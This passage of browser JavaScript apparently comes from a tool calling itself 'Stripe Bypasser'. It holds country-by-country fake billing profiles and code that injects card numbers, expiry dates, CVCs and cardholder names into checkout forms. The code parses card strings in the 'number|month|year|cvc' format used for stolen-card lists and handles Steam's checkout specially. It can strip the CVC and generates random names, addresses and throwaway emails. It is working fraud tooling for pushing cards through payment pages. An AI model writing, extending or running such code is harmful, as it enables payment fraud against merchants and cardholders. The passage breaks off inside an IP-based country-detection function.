      MU: {
        name: "Jean Dupont",
        address: "Royal Street 72",
        city: "Port Louis",
        state: "Port Louis",
        zip: "42602",
        country: "MU",
        phone: "52512345"
      },
      MV: {
        name: "Michael Carter",
        address: "Majeedhee Magu 89",
        city: "Malé",
        state: "Malé",
        zip: "20026",
        country: "MV",
        phone: "7712345"
      },
      MW: {
        name: "Sipho Dlamini",
        address: "Victoria Avenue 106",
        city: "Lilongwe",
        state: "Lilongwe",
        zip: "",
        country: "MW",
        phone: "0991234567"
      },
      MX: {
        name: "Sofia Hernandez",
        address: "Avenida Reforma 48",
        city: "Mexico City",
        state: "CDMX",
        zip: "02860",
        country: "MX",
        phone: "2221234567"
      },
      MY: {
        name: "Aisyah Rahman",
        address: "Jalan Bukit Bintang 140",
        city: "Kuala Lumpur",
        state: "Kuala Lumpur",
        zip: "43000",
        country: "MY",
        phone: "0123456789"
      },
      MZ: {
        name: "Joao Pereira",
        address: "Avenida Julius Nyerere 157",
        city: "Maputo",
        state: "Maputo",
        zip: "1102",
        country: "MZ",
        phone: "821234567"
      },
      NA: {
        name: "Sipho Dlamini",
        address: "Independence Avenue 109",
        city: "Windhoek",
        state: "Khomas",
        zip: "10001",
        country: "NA",
        phone: "0811234567"
      },
      NC: {
        name: "Jean Dupont",
        address: "Rue de la République 143",
        city: "Nouméa",
        state: "South Province",
        zip: "98814",
        country: "NC",
        phone: "751234"
      },
      NE: {
        name: "Jean Dupont",
        address: "Avenue de la République 177",
        city: "Niamey",
        state: "Niamey",
        zip: "8001",
        country: "NE",
        phone: "93123456"
      },
      NG: {
        name: "Chinedu Okafor",
        address: "Broad Street 31",
        city: "Lagos",
        state: "Lagos",
        zip: "930283",
        country: "NG",
        phone: "08021234567"
      },
      NI: {
        name: "Carlos Mendoza",
        address: "Avenida Bolívar 65",
        city: "Managua",
        state: "Managua",
        zip: "52000",
        country: "NI",
        phone: "81234567"
      },
      NL: {
        name: "Daan Visser",
        address: "Hoofdstraat 116",
        city: "Amsterdam",
        state: "Noord-Holland",
        zip: "1234 AB",
        country: "NL",
        phone: "0612345678"
      },
      NO: {
        name: "Erik Johansen",
        address: "Karl Johans gate 167",
        city: "Oslo",
        state: "Oslo",
        zip: "0025",
        country: "NO",
        phone: "40612345"
      },
      NP: {
        name: "Suman Shrestha",
        address: "Durbar Marg 184",
        city: "Kathmandu",
        state: "Bagmati",
        zip: "44601",
        country: "NP",
        phone: "9841234567"
      },
      NR: {
        name: "Noah Tavita",
        address: "Aiwo District 38",
        city: "Yaren",
        state: "Yaren",
        zip: "",
        country: "NR",
        phone: "5551234"
      },
      NZ: {
        name: "Charlotte Walker",
        address: "Queen Street 174",
        city: "Auckland",
        state: "Auckland",
        zip: "6001",
        country: "NZ",
        phone: "0211234567"
      },
      OM: {
        name: "سالم الحارثي",
        address: "Sultan Qaboos Street 150",
        city: "Muscat",
        state: "Muscat",
        zip: "133",
        country: "OM",
        phone: "92123456"
      },
      PA: {
        name: "Carlos Mendoza",
        address: "Avenida Central 143",
        city: "Panama City",
        state: "Panamá",
        zip: "",
        country: "PA",
        phone: "61234567"
      },
      PE: {
        name: "Carlos Mendoza",
        address: "Jirón de la Unión 31",
        city: "Lima",
        state: "Lima",
        zip: "LIMA 23",
        country: "PE",
        phone: "912345678"
      },
      PF: {
        name: "Jean Dupont",
        address: "Boulevard Pomare 48",
        city: "Papeete",
        state: "Tahiti",
        zip: "98709",
        country: "PF",
        phone: "87123456"
      },
      PG: {
        name: "Noah Tavita",
        address: "Champion Parade 65",
        city: "Port Moresby",
        state: "National Capital",
        zip: "111",
        country: "PG",
        phone: "70123456"
      },
      PH: {
        name: "Maria Santos",
        address: "EDSA 82",
        city: "Manila",
        state: "Metro Manila",
        zip: "1008",
        country: "PH",
        phone: "09051234567"
      },
      PK: {
        name: "Ahmed Khan",
        address: "Main Boulevard 133",
        city: "Lahore",
        state: "Punjab",
        zip: "44000",
        country: "PK",
        phone: "03012345678"
      },
      PL: {
        name: "Piotr Kowalski",
        address: "ul. Nowy Świat 150",
        city: "Warsaw",
        state: "Mazowieckie",
        zip: "00-950",
        country: "PL",
        phone: "512345678"
      },
      PT: {
        name: "Joao Fernandes",
        address: "Rua Augusta 106",
        city: "Lisbon",
        state: "Lisboa",
        zip: "2725-079",
        country: "PT",
        phone: "912345678"
      },
      PW: {
        name: "Noah Tavita",
        address: "Main Street 157",
        city: "Koror",
        state: "Koror",
        zip: "96940",
        country: "PW",
        phone: "6201234"
      },
      PY: {
        name: "Carlos Mendoza",
        address: "Avenida Mariscal López 191",
        city: "Asunción",
        state: "Asunción",
        zip: "1536",
        country: "PY",
        phone: "0961456789"
      },
      QA: {
        name: "ناصر الكواري",
        address: "Corniche Road 160",
        city: "Doha",
        state: "Doha",
        zip: "",
        country: "QA",
        phone: "33123456"
      },
      RO: {
        name: "Andrei Popescu",
        address: "Calea Victoriei 55",
        city: "Bucharest",
        state: "Bucharest",
        zip: "060274",
        country: "RO",
        phone: "0712034567"
      },
      RS: {
        name: "Никола Петровић",
        address: "Knez Mihailova Street 71",
        city: "Belgrade",
        state: "Belgrade",
        zip: "106314",
        country: "RS",
        phone: "0601234567"
      },
      RU: {
        name: "Алексей Смирнов",
        address: "Tverskaya Street 157",
        city: "Moscow",
        state: "Moscow",
        zip: "247112",
        country: "RU",
        phone: "89123456789"
      },
      RW: {
        name: "Jean Dupont",
        address: "Avenue de la Paix 191",
        city: "Kigali",
        state: "Kigali",
        zip: "",
        country: "RW",
        phone: "0720123456"
      },
      SA: {
        name: "محمد القحطاني",
        address: "King Fahd Road 194",
        city: "Riyadh",
        state: "Riyadh",
        zip: "11564",
        country: "SA",
        phone: "0512345678"
      },
      SB: {
        name: "Noah Tavita",
        address: "Mendana Avenue 31",
        city: "Honiara",
        state: "Guadalcanal",
        zip: "",
        country: "SB",
        phone: "7421234"
      },
      SC: {
        name: "Jean Dupont",
        address: "Francis Rachel Street 48",
        city: "Victoria",
        state: "Mahé",
        zip: "",
        country: "SC",
        phone: "2510123"
      },
      SD: {
        name: "محمد الأحمد",
        address: "Al-Qasr Avenue 65",
        city: "Khartoum",
        state: "Khartoum",
        zip: "11042",
        country: "SD",
        phone: "0911231234"
      },
      SE: {
        name: "Erik Johansson",
        address: "Drottninggatan 82",
        city: "Stockholm",
        state: "Stockholm",
        zip: "11455",
        country: "SE",
        phone: "0701234567"
      },
      SG: {
        name: "Marcus Tan",
        address: "Orchard Road 116",
        city: "Singapore",
        state: "Singapore",
        zip: "546080",
        country: "SG",
        phone: "81234567"
      },
      SI: {
        name: "Luka Novak",
        address: "Prešernova cesta 150",
        city: "Ljubljana",
        state: "Ljubljana",
        zip: "4000",
        country: "SI",
        phone: "031234567"
      },
      SK: {
        name: "Martin Kovac",
        address: "Hlavná ulica 184",
        city: "Bratislava",
        state: "Bratislava",
        zip: "010 01",
        country: "SK",
        phone: "0912123456"
      },
      SL: {
        name: "Mamadou Diallo",
        address: "Siaka Stevens Street 21",
        city: "Freetown",
        state: "Western Area",
        zip: "",
        country: "SL",
        phone: "025123456"
      },
      SM: {
        name: "Michael Carter",
        address: "Via del Serraglio 38",
        city: "San Marino",
        state: "San Marino",
        zip: "47890",
        country: "SM",
        phone: "66661212"
      },
      SN: {
        name: "Jean Dupont",
        address: "Avenue Léopold Sédar Senghor 55",
        city: "Dakar",
        state: "Dakar",
        zip: "12500",
        country: "SN",
        phone: "701234567"
      },
      SO: {
        name: "محمد الأحمد",
        address: "Maka Al-Mukarama Road 72",
        city: "Mogadishu",
        state: "Banaadir",
        zip: "JH 09010",
        country: "SO",
        phone: "71123456"
      },
      SR: {
        name: "Aaliyah Clarke",
        address: "Waterkant 29",
        city: "Paramaribo",
        state: "Paramaribo",
        zip: "",
        country: "SR",
        phone: "7412345"
      },
      SS: {
        name: "Michael Carter",
        address: "Ministry Road 140",
        city: "Juba",
        state: "Central Equatoria",
        zip: "",
        country: "SS",
        phone: "0977123456"
      },
      ST: {
        name: "Joao Pereira",
        address: "Avenida Marginal 157",
        city: "São Tomé",
        state: "São Tomé",
        zip: "",
        country: "ST",
        phone: "9812345"
      },
      SV: {
        name: "Carlos Mendoza",
        address: "Alameda Roosevelt 191",
        city: "San Salvador",
        state: "San Salvador",
        zip: "CP 1101",
        country: "SV",
        phone: "70123456"
      },
      SZ: {
        name: "Sipho Dlamini",
        address: "Allister Miller Street 79",
        city: "Mbabane",
        state: "Hhohho",
        zip: "H100",
        country: "SZ",
        phone: "76123456"
      },
      TD: {
        name: "محمد الأحمد",
        address: "Avenue Charles de Gaulle 82",
        city: "N'Djamena",
        state: "N'Djamena",
        zip: "",
        country: "TD",
        phone: "63012345"
      },
      TH: {
        name: "สมชาย วงศ์สุวรรณ",
        address: "Sukhumvit Road 150",
        city: "Bangkok",
        state: "Bangkok",
        zip: "10150",
        country: "TH",
        phone: "0812345678"
      },
      TN: {
        name: "محمد الأحمد",
        address: "Avenue Habib Bourguiba 72",
        city: "Tunis",
        state: "Tunis",
        zip: "1002",
        country: "TN",
        phone: "20123456"
      },
      TO: {
        name: "Noah Tavita",
        address: "Taufa'ahau Road 89",
        city: "Nuku'alofa",
        state: "Tongatapu",
        zip: "",
        country: "TO",
        phone: "7715123"
      },
      TR: {
        name: "Emre Yilmaz",
        address: "İstiklal Caddesi 140",
        city: "Istanbul",
        state: "Istanbul",
        zip: "01960",
        country: "TR",
        phone: "05012345678"
      },
      TT: {
        name: "Aaliyah Clarke",
        address: "Frederick Street 174",
        city: "Port of Spain",
        state: "Port of Spain",
        zip: "",
        country: "TT",
        phone: "8682911234"
      },
      TV: {
        name: "Noah Tavita",
        address: "Vaiaku 28",
        city: "Funafuti",
        state: "Funafuti",
        zip: "",
        country: "TV",
        phone: "901234"
      },
      TW: {
        name: "陳冠廷",
        address: "Zhongshan North Road 45",
        city: "Taipei",
        state: "Taipei",
        zip: "104",
        country: "TW",
        phone: "0912345678"
      },
      TZ: {
        name: "Brian Mwangi",
        address: "Samora Avenue 96",
        city: "Dar es Salaam",
        state: "Dar es Salaam",
        zip: "6090",
        country: "TZ",
        phone: "0621234567"
      },
      UA: {
        name: "Олександр Шевченко",
        address: "Khreshchatyk Street 48",
        city: "Kyiv",
        state: "Kyiv",
        zip: "15432",
        country: "UA",
        phone: "0501234567"
      },
      UG: {
        name: "Brian Mwangi",
        address: "Kampala Road 150",
        city: "Kampala",
        state: "Kampala",
        zip: "",
        country: "UG",
        phone: "0712345678"
      },
      US: {
        name: "Michael Carter",
        address: "174 Main Street",
        city: "New York",
        state: "NY",
        zip: "95014",
        country: "US",
        phone: "2015550123"
      },
      UY: {
        name: "Carlos Mendoza",
        address: "Avenida 18 de Julio 96",
        city: "Montevideo",
        state: "Montevideo",
        zip: "11600",
        country: "UY",
        phone: "094231234"
      },
      UZ: {
        name: "Bekzod Karimov",
        address: "Amir Timur Avenue 113",
        city: "Tashkent",
        state: "Tashkent",
        zip: "702100",
        country: "UZ",
        phone: "912345678"
      },
      VA: {
        name: "Michael Carter",
        address: "Via della Conciliazione 65",
        city: "Vatican City",
        state: "Vatican City",
        zip: "00120",
        country: "VA",
        phone: "3123456789"
      },
      VE: {
        name: "Valeria Gonzalez",
        address: "Avenida Bolívar 133",
        city: "Caracas",
        state: "Distrito Capital",
        zip: "1010",
        country: "VE",
        phone: "04121234567"
      },
      VN: {
        name: "Nguyen Minh Anh",
        address: "Nguyen Hue Street 106",
        city: "Ho Chi Minh City",
        state: "Ho Chi Minh",
        zip: "70010",
        country: "VN",
        phone: "0912345678"
      },
      VU: {
        name: "Jean Dupont",
        address: "Kumul Highway 45",
        city: "Port Vila",
        state: "Shefa",
        zip: "",
        country: "VU",
        phone: "5912345"
      },
      WS: {
        name: "Noah Tavita",
        address: "Beach Road 28",
        city: "Apia",
        state: "Tuamasaga",
        zip: "",
        country: "WS",
        phone: "7212345"
      },
      XK: {
        name: "Michael Carter",
        address: "Mother Teresa Boulevard 89",
        city: "Pristina",
        state: "Pristina",
        zip: "10000",
        country: "XK",
        phone: "043201234"
      },
      ZA: {
        name: "Thabo Mokoena",
        address: "Main Road 133",
        city: "Cape Town",
        state: "Western Cape",
        zip: "0083",
        country: "ZA",
        phone: "0711234567"
      },
      ZM: {
        name: "Sipho Dlamini",
        address: "Cairo Road 157",
        city: "Lusaka",
        state: "Lusaka",
        zip: "50100",
        country: "ZM",
        phone: "0955123456"
      },
      ZW: {
        name: "Tendai Moyo",
        address: "First Street 147",
        city: "Harare",
        state: "Harare",
        zip: "",
        country: "ZW",
        phone: "0712345678"
      }
    };
    const nameInfo = {
      ...defaultCountryAutofillProfiles.US
    };
    let countryAutofillProfiles =
      window.__STRIPE_BYPASSER_COUNTRY_DATA__ || defaultCountryAutofillProfiles;
    const data = window.__STRIPE_BYPASSER_DEFAULT_COUNTRY_DATA__ || nameInfo;
    if (
      window.__STRIPE_BYPASSER_COUNTRY_DATA__ &&
      Object.keys(window.__STRIPE_BYPASSER_COUNTRY_DATA__).length > 0
    ) {
      countryAutofillProfiles = {
        ...defaultCountryAutofillProfiles,
        ...window.__STRIPE_BYPASSER_COUNTRY_DATA__
      };
    }
    const defaultAutofillConfig = {
      enabled: true,
      fillCardData: true,
      fillBillingData: true,
      data
    };
    let autofillConfig = defaultAutofillConfig;
    let autofillInProgress = false;
    const filledFieldKeys = new Set();
    let autofillCountryCode = null;
    let hasAutofillRun = false;
    function findFirstFillableField(selectorList) {
      for (const selectorText of selectorList) {
        try {
          const matchingElement = document.querySelector(selectorText);
          if (
            matchingElement &&
            matchingElement.offsetParent !== null &&
            !matchingElement.disabled &&
            !matchingElement.readOnly
          ) {
            return matchingElement;
          }
        } catch (error) {
          console.warn("[Deep Bypasser] Operation failed", error.message);
        }
      }
      return null;
    }
    function fillAutofillField(element, fieldValue, isEnabled = true) {
      if (!element || fieldValue === undefined || fieldValue === null) {
        return false;
      }
      try {
        const normalizedFieldValue = String(fieldValue);
        const fieldIdentity =
          element.id || element.name || element.className || Math.random().toString();
        if (filledFieldKeys.has(fieldIdentity) && element.value === normalizedFieldValue) {
          return true;
        }
        if (element.tagName === "SELECT") {
          const matchingItem = Array.from(element.options).find(
            item =>
              item.value === normalizedFieldValue ||
              item.textContent.trim() === normalizedFieldValue ||
              item.value.toLowerCase() === normalizedFieldValue.toLowerCase()
          );
          element.value = matchingItem ? matchingItem.value : normalizedFieldValue;
        } else {
          element.value = normalizedFieldValue;
        }
        if (isEnabled) {
          ["input", "change", "blur", "keyup", "keydown"].forEach(item => {
            const eventObject = new Event(item, {
              bubbles: true,
              cancelable: true
            });
            element.dispatchEvent(eventObject);
          });
          if (element._valueTracker) {
            element._valueTracker.setValue("");
          }
          if (element.tagName === "INPUT" && typeof setNativeInputValue === "function") {
            setNativeInputValue(element, normalizedFieldValue);
            const eventObject = new Event("input", {
              bubbles: true
            });
            element.dispatchEvent(eventObject);
          }
        }
        element.focus();
        setTimeout(() => element.blur(), 50);
        filledFieldKeys.add(fieldIdentity);
        return true;
      } catch (error) {
        if (window.StripeBypasserLogger) {
          window.StripeBypasserLogger.warn("[Autofill] Error filling field:", error);
        }
        return false;
      }
    }
    function fillSteamExpirySelect(expiryPart, expiryValue) {
      try {
        const expirationFieldName = expiryPart === "month" ? "expiration_month" : "expiration_year";
        const matchingElement = document.querySelector(
          'input[name="' + expirationFieldName + '"], input[id="' + expirationFieldName + '"]'
        );
        if (!matchingElement) {
          return false;
        }
        const expirationTriggerId =
          expiryPart === "month" ? "expiration_month_trigger" : "expiration_year_trigger";
        const expiryTriggerElement = document.getElementById(expirationTriggerId);
        if (expiryTriggerElement) {
          expiryTriggerElement.click();
          setTimeout(() => {
            const isExpirationDroplist = "expiration_" + expiryPart + "_droplist";
            const expirationDropdown =
              document.getElementById(isExpirationDroplist) ||
              document.querySelector(
                "#expiration_" + expiryPart + "_dselect_container .dselect_panel"
              ) ||
              document.querySelector(
                "#expiration_" + expiryPart + '_dselect_container [role="listbox"]'
              );
            if (expirationDropdown) {
              const matchingElements = expirationDropdown.querySelectorAll(
                '.dselect_option, [role="option"]'
              );
              for (const elementNode of matchingElements) {
                const optionValue =
                  elementNode.getAttribute("data-value") ||
                  elementNode.getAttribute("value") ||
                  elementNode.textContent.trim();
                const padStartData = expiryValue.padStart(2, "0");
                if (
                  optionValue === padStartData ||
                  optionValue === expiryValue ||
                  optionValue === expiryValue.padStart(2, "0") ||
                  (expiryPart === "year" && optionValue.endsWith(expiryValue))
                ) {
                  elementNode.click();
                  matchingElement.value = padStartData;
                  const changeEvent = new Event("change", {
                    bubbles: true,
                    cancelable: true
                  });
                  matchingElement.dispatchEvent(changeEvent);
                  return true;
                }
              }
            }
            matchingElement.value = expiryValue.padStart(2, "0");
            const eventObject = new Event("change", {
              bubbles: true,
              cancelable: true
            });
            matchingElement.dispatchEvent(eventObject);
          }, 200);
          return true;
        }
        {
          matchingElement.value = expiryValue.padStart(2, "0");
          const eventObject = new Event("change", {
            bubbles: true,
            cancelable: true
          });
          matchingElement.dispatchEvent(eventObject);
          return true;
        }
      } catch (error) {
        console.warn("[Naruto Bypasser] Operation failed", error.message);
      }
      return false;
    }
    function getAutofillAdvancedSettings() {
      return window.__STRIPE_BYPASSER_ADVANCED_SETTINGS__ || {};
    }
    function getAutofillDelayMs(advancedSettings) {
      let autofillDelaySeconds = 7;
      if (advancedSettings.autofillDelay !== undefined && advancedSettings.autofillDelay !== null) {
        autofillDelaySeconds = Number(advancedSettings.autofillDelay);
      }
      if (Number.isNaN(autofillDelaySeconds) || autofillDelaySeconds < 0) {
        autofillDelaySeconds = 7;
      }
      return autofillDelaySeconds * 1000;
    }
    function parseAutofillCardString(cardString) {
      if (!cardString || typeof cardString !== "string" || !cardString.includes("|")) {
        return null;
      }
      const mappedItems = cardString.split("|").map(item => item.trim());
      if (mappedItems.length < 2) {
        return null;
      }
      const parsedCardNumber = mappedItems[0].replace(/\s/g, "");
      const parsedMonth = mappedItems[1] || null;
      const parsedYear = mappedItems[2] || null;
      const parsedCvc = mappedItems[3] || null;
      if (!parsedCardNumber || parsedCardNumber.length < 13) {
        return null;
      }
      return {
        number: parsedCardNumber,
        month: parsedMonth ? parseInt(parsedMonth, 10) : null,
        year: parsedYear ? parseInt(parsedYear, 10) : null,
        cvc: parsedCvc || null
      };
    }
    function resolveAutofillCardDetails(advancedSettings) {
      const { customCardNumber } = advancedSettings;
      if (customCardNumber) {
        const normalizedCardNumber = customCardNumber.replace(/\s/g, "");
        const parsedInlineCard = parseAutofillCardString(normalizedCardNumber);
        if (parsedInlineCard?.number) {
          return parsedInlineCard;
        }
        if (normalizedCardNumber.length >= 13) {
          const customCardExpiry = advancedSettings.customCardExpiry || "08/32";
          const customCardCvc = advancedSettings.customCardCvc || "000";
          const [customExpiryMonth, customExpiryYear] = customCardExpiry.includes("/")
            ? customCardExpiry.split("/")
            : ["08", "32"];
          return {
            number: normalizedCardNumber,
            month: customExpiryMonth || "08",
            year: customExpiryYear || "32",
            cvc: customCardCvc || "000"
          };
        }
      }
      return {
        number: "4242424242424242",
        month: "08",
        year: "32",
        cvc: "000"
      };
    }
    function fillGeneratedCardData(cardData, advancedSettings) {
      if (!cardData?.number) {
        return;
      }
      const currentHostname = window?.location?.hostname || "";
      const cardNumberField = findFirstFillableField(nameCardNumberList);
      if (cardNumberField) {
        fillAutofillField(cardNumberField, formatCardNumberForInput(cardData.number));
      }
      if (cardData.month) {
        const paddedMonth = normalizeCardMonthText(cardData.month);
        if (currentHostname.includes("steampowered.com")) {
          if (!fillSteamExpirySelect("month", paddedMonth)) {
            const expirationMonthField = findFirstFillableField(nameCardExpirationList);
            if (expirationMonthField) {
              fillAutofillField(expirationMonthField, paddedMonth);
            }
          }
        } else {
          const expirationMonthField = findFirstFillableField(nameCardExpirationList);
          if (expirationMonthField) {
            fillAutofillField(expirationMonthField, paddedMonth);
          }
        }
      }
      if (cardData.year) {
        const cardYear = normalizeCardYearSuffix(cardData.year);
        if (currentHostname.includes("steampowered.com")) {
          if (!fillSteamExpirySelect("year", cardYear)) {
            const expirationYearField = findFirstFillableField(expirationYearSelectors);
            if (expirationYearField) {
              fillAutofillField(expirationYearField, cardYear);
            }
          }
        } else {
          const expirationYearField = findFirstFillableField(expirationYearSelectors);
          if (expirationYearField) {
            fillAutofillField(expirationYearField, cardYear);
          }
        }
      }
      if (cardData.month && cardData.year) {
        const combinedExpiryField = findFirstFillableField([
          'input[name="expiry"]',
          'input[name="expiryDate"]',
          'input[name*="exp"][name*="date" i]',
          'input[id*="exp"][id*="date" i]',
          'input[autocomplete="cc-exp"]',
          "#exp-date",
          "#expDate",
          ".exp-date"
        ]);
        if (combinedExpiryField) {
          fillAutofillField(
            combinedExpiryField,
            formatExpiryForInput(cardData.month, cardData.year)
          );
        }
      }
      const shouldClearSecurityCode =
        advancedSettings.cvcMode === false || advancedSettings.cvcMode === "remove";
      const securityCodeField = findFirstFillableField(nameCardSecurityList);
      if (shouldClearSecurityCode) {
        if (securityCodeField && securityCodeField.value) {
          fillAutofillField(securityCodeField, "");
        }
      } else if (cardData.cvc && securityCodeField) {
        fillAutofillField(securityCodeField, cardData.cvc);
      }
      const cardholderName =
        advancedSettings.customName ||
        getDefaultCardholderName(autofillCountryCode || autofillConfig.data?.country || null);
      const cardholderField = findFirstFillableField(nameCardCardholderList);
      if (cardholderField && cardholderName) {
        fillAutofillField(cardholderField, cardholderName);
      }
      if (currentHostname.includes("steampowered.com")) {
        setTimeout(() => {
          if (cardData.month) {
            fillSteamExpirySelect("month", normalizeCardMonthText(cardData.month));
          }
          if (cardData.year) {
            fillSteamExpirySelect("year", normalizeCardYearSuffix(cardData.year));
          }
        }, 500);
      }
    }
    function generateAutofillRandomEmail(emailDomain) {
      const firstNames = [
        "james",
        "john",
        "robert",
        "michael",
        "william",
        "david",
        "richard",
        "joseph",
        "thomas",
        "charles",
        "mary",
        "patricia",
        "jennifer",
        "linda",
        "elizabeth",
        "barbara",
        "susan",
        "jessica",
        "sarah",
        "karen"
      ];
      const randomSuffix = Math.floor(Math.random() * 9999);
      return (
        firstNames[Math.floor(Math.random() * firstNames.length)] + randomSuffix + "@" + emailDomain
      );
    }
    function buildRandomBillingAddressProfile() {
      const streetNames = [
        "Main",
        "Park",
        "Oak",
        "Pine",
        "Maple",
        "Cedar",
        "Elm",
        "Washington",
        "Lincoln",
        "Jefferson",
        "Madison",
        "Jackson",
        "Church",
        "First",
        "Second",
        "Third",
        "Broadway",
        "High",
        "Spring",
        "Garden"
      ];
      const streetTypes = [
        "Street",
        "Avenue",
        "Road",
        "Drive",
        "Lane",
        "Boulevard",
        "Court",
        "Place",
        "Way",
        "Circle"
      ];
      const cityNames = [
        "Springfield",
        "Franklin",
        "Georgetown",
        "Clinton",
        "Madison",
        "Washington",
        "Marion",
        "Monroe",
        "Jackson",
        "Lincoln",
        "Jefferson",
        "Montgomery",
        "Salem",
        "Greenwood",
        "Fairview",
        "Oakwood",
        "Riverside",
        "Mountain View",
        "Lakewood",
        "Hillcrest"
      ];
      return {
        address:
          Math.floor(Math.random() * 9999) +
          1 +
          " " +
          streetNames[Math.floor(Math.random() * streetNames.length)] +
          " " +
          streetTypes[Math.floor(Math.random() * streetTypes.length)],
        city: cityNames[Math.floor(Math.random() * cityNames.length)],
        state:
          String.fromCharCode(65 + Math.floor(Math.random() * 26)) +
          String.fromCharCode(65 + Math.floor(Math.random() * 26)),
        zip: String(Math.floor(Math.random() * 90000) + 10000)
      };
    }
    function fillGeneratedBillingData(advancedSettings) {
      const autofillData = autofillConfig.data;
      if (!autofillData) {
        return;
      }
      const useRandomNames = advancedSettings.useRandomNames === true;
      const useRandomAddresses = advancedSettings.useRandomAddresses === true;
      if (advancedSettings.customEmailDomainEnabled && advancedSettings.customEmailDomain) {
        const normalizedText = advancedSettings.customEmailDomain.trim();
        if (normalizedText && !normalizedText.includes("@")) {
          const generatedEmail = generateAutofillRandomEmail(normalizedText);
          const emailField = findFirstFillableField([
            'input[type="email"]',
            'input[name*="email" i]',
            'input[id*="email" i]',
            'input[autocomplete="email"]',
            "#email",
            ".email"
          ]);
          if (emailField && !emailField.value) {
            fillAutofillField(emailField, generatedEmail);
          }
        }
      }
      const countryField = findFirstFillableField(selectNameCountryList);
      let autofillProfile = autofillData;
      if (countryField) {
        const selectedCountryText =
          countryField.value ||
          (countryField.options && countryField.options[countryField.selectedIndex]?.value) ||
          (countryField.options &&
            countryField.options[countryField.selectedIndex]?.text?.trim()) ||
          countryField.textContent?.trim() ||
          countryField.getAttribute("value");
        if (selectedCountryText && selectedCountryText !== "") {
          const detectedCountryCode = normalizeCountryCode(selectedCountryText);
          if (detectedCountryCode) {
            autofillCountryCode = detectedCountryCode;
            window.__STRIPE_BYPASSER_LAST_COUNTRY_CODE__ = detectedCountryCode;
            autofillProfile = getCountryAutofillProfile(detectedCountryCode);
            autofillConfig.data = {
              ...autofillConfig.data,
              ...autofillProfile
            };
          }
        } else if (autofillData.country) {
          fillAutofillField(countryField, autofillData.country);
        }
      }
      const autofillCountry =
        autofillProfile?.country || autofillCountryCode || autofillData.country;
      let billingName =
        autofillProfile?.name || autofillData.name || getDefaultCardholderName(autofillCountry);
      if (useRandomNames) {
        billingName = getRandomLocalizedCardholderName(autofillCountry);
      } else if (advancedSettings.customName) {
        billingName = advancedSettings.customName;
      }
      const billingNameField = findFirstFillableField(nameCardCardholderList);
      if (billingNameField && billingName) {
        fillAutofillField(billingNameField, billingName);
      }
      const addressInfo = {
        address: advancedSettings.customAddress1 || autofillProfile.address,
        city: advancedSettings.customLocality || autofillProfile.city,
        state: autofillProfile.state,
        zip: autofillProfile.zip
      };
      const billingAddressProfile = useRandomAddresses
        ? buildRandomBillingAddressProfile()
        : addressInfo;
      if (billingAddressProfile.address) {
        const streetAddressField = findFirstFillableField([
          'input[name*="address" i][name*="line" i]',
          'input[name*="street" i]',
          'input[id*="address" i]',
          'input[autocomplete="street-address"]',
          "#address",
          ".address"
        ]);
        if (streetAddressField && !streetAddressField.value) {
          fillAutofillField(streetAddressField, billingAddressProfile.address);
        }
        if (advancedSettings.customAddress2 && !useRandomAddresses) {
          const matchingElements = document.querySelectorAll(
            'input[name*="address" i][name*="line2" i], input[name*="address2" i], input[id*="address2" i]'
          );
          const [matchingElement] = matchingElements;
          if (matchingElement) {
            fillAutofillField(matchingElement, advancedSettings.customAddress2);
          }
        }
      }
      if (billingAddressProfile.city) {
        const cityField = findFirstFillableField(nameCityLocalityList);
        if (cityField && !cityField.value) {
          fillAutofillField(cityField, billingAddressProfile.city);
        }
      }
      if (billingAddressProfile.state) {
        const stateField = findFirstFillableField(nameStateProvinceList);
        if (stateField && !stateField.value) {
          fillAutofillField(stateField, billingAddressProfile.state);
        }
      }
      if (billingAddressProfile.zip) {
        const postalCodeField = findFirstFillableField(nameZipPostalList);
        if (postalCodeField) {
          postalCodeField.value = "";
          fillAutofillField(postalCodeField, billingAddressProfile.zip);
        }
      }
    }
    function fill() {
      if (hasAutofillRun || autofillInProgress || !autofillConfig.enabled) {
        return;
      }
      const advancedSettings = getAutofillAdvancedSettings();
      const autofillDelayMs = getAutofillDelayMs(advancedSettings);
      autofillInProgress = true;
      filledFieldKeys.clear();
      setTimeout(() => {
        try {
          const latestAdvancedSettings = getAutofillAdvancedSettings();
          if (autofillConfig.fillCardData) {
            const cardDetails = resolveAutofillCardDetails(latestAdvancedSettings);
            fillGeneratedCardData(cardDetails, latestAdvancedSettings);
          }
          if (autofillConfig.fillBillingData) {
            fillGeneratedBillingData(latestAdvancedSettings);
          }
        } catch (error) {
          console.warn("[Naruto Bypasser] Operation failed", error.message);
        } finally {
          autofillInProgress = false;
          hasAutofillRun = true;
        }
      }, autofillDelayMs);
    }
    function normalizeCountryCode(countryInput) {
      if (!countryInput) {
        return null;
      }
      const normalizedText = String(countryInput).trim().toUpperCase();
      if (normalizedText.length === 2 && /^[A-Z]{2}$/.test(normalizedText)) {
        return normalizedText;
      }
      const countryAliasMap = {
        INDIA: "IN",
        "UNITED STATES": "US",
        USA: "US",
        "UNITED STATES OF AMERICA": "US",
        "UNITED KINGDOM": "GB",
        UK: "GB",
        "GREAT BRITAIN": "GB",
        CANADA: "CA",
        AUSTRALIA: "AU",
        GERMANY: "DE",
        DEUTSCHLAND: "DE",
        FRANCE: "FR",
        ITALY: "IT",
        ITALIA: "IT",
        SPAIN: "ES",
        ESPANA: "ES",
        NETHERLANDS: "NL",
        HOLLAND: "NL",
        JAPAN: "JP",
        CHINA: "CN",
        BRAZIL: "BR",
        BRASIL: "BR",
        RUSSIA: "RU",
        "RUSSIAN FEDERATION": "RU",
        "SOUTH KOREA": "KR",
        KOREA: "KR",
        MEXICO: "MX"
      };
      if (countryAliasMap[normalizedText]) {
        return countryAliasMap[normalizedText];
      }
      for (const [countryCode, countryProfile] of Object.entries(countryAutofillProfiles)) {
        if (
          countryProfile.country === normalizedText ||
          normalizedText.includes(countryProfile.country) ||
          countryProfile.country.includes(normalizedText)
        ) {
          return countryCode;
        }
      }
      return null;
    }
    function getCountryAutofillProfile(countryInput) {
      if (!countryInput) {
        return data;
      }
      const normalizedCountryCode =
        normalizeCountryCode(countryInput) || countryInput.toUpperCase();
      const countryProfile = countryAutofillProfiles[normalizedCountryCode] || data;
      if (!countryProfile || typeof countryProfile !== "object") {
        return data;
      }
      return {
        ...countryProfile,
        name: countryProfile.name || getLocalizedCardholderName(normalizedCountryCode)
      };
    }
    async function detectCountry() {
      const detectedCountryCode = await (async () => {
        try {
          if (window.top !== window.self) {
            return null;
          }
          const endpointList = [
            "https://ipapi.co/json/",
            "https://ip-api.com/json/",
            "https://api.country.is/",
            "https://ipinfo.io/json"
          ];
          const readCountryCodeFromEndpoint = async endpointUrl => {
            try {
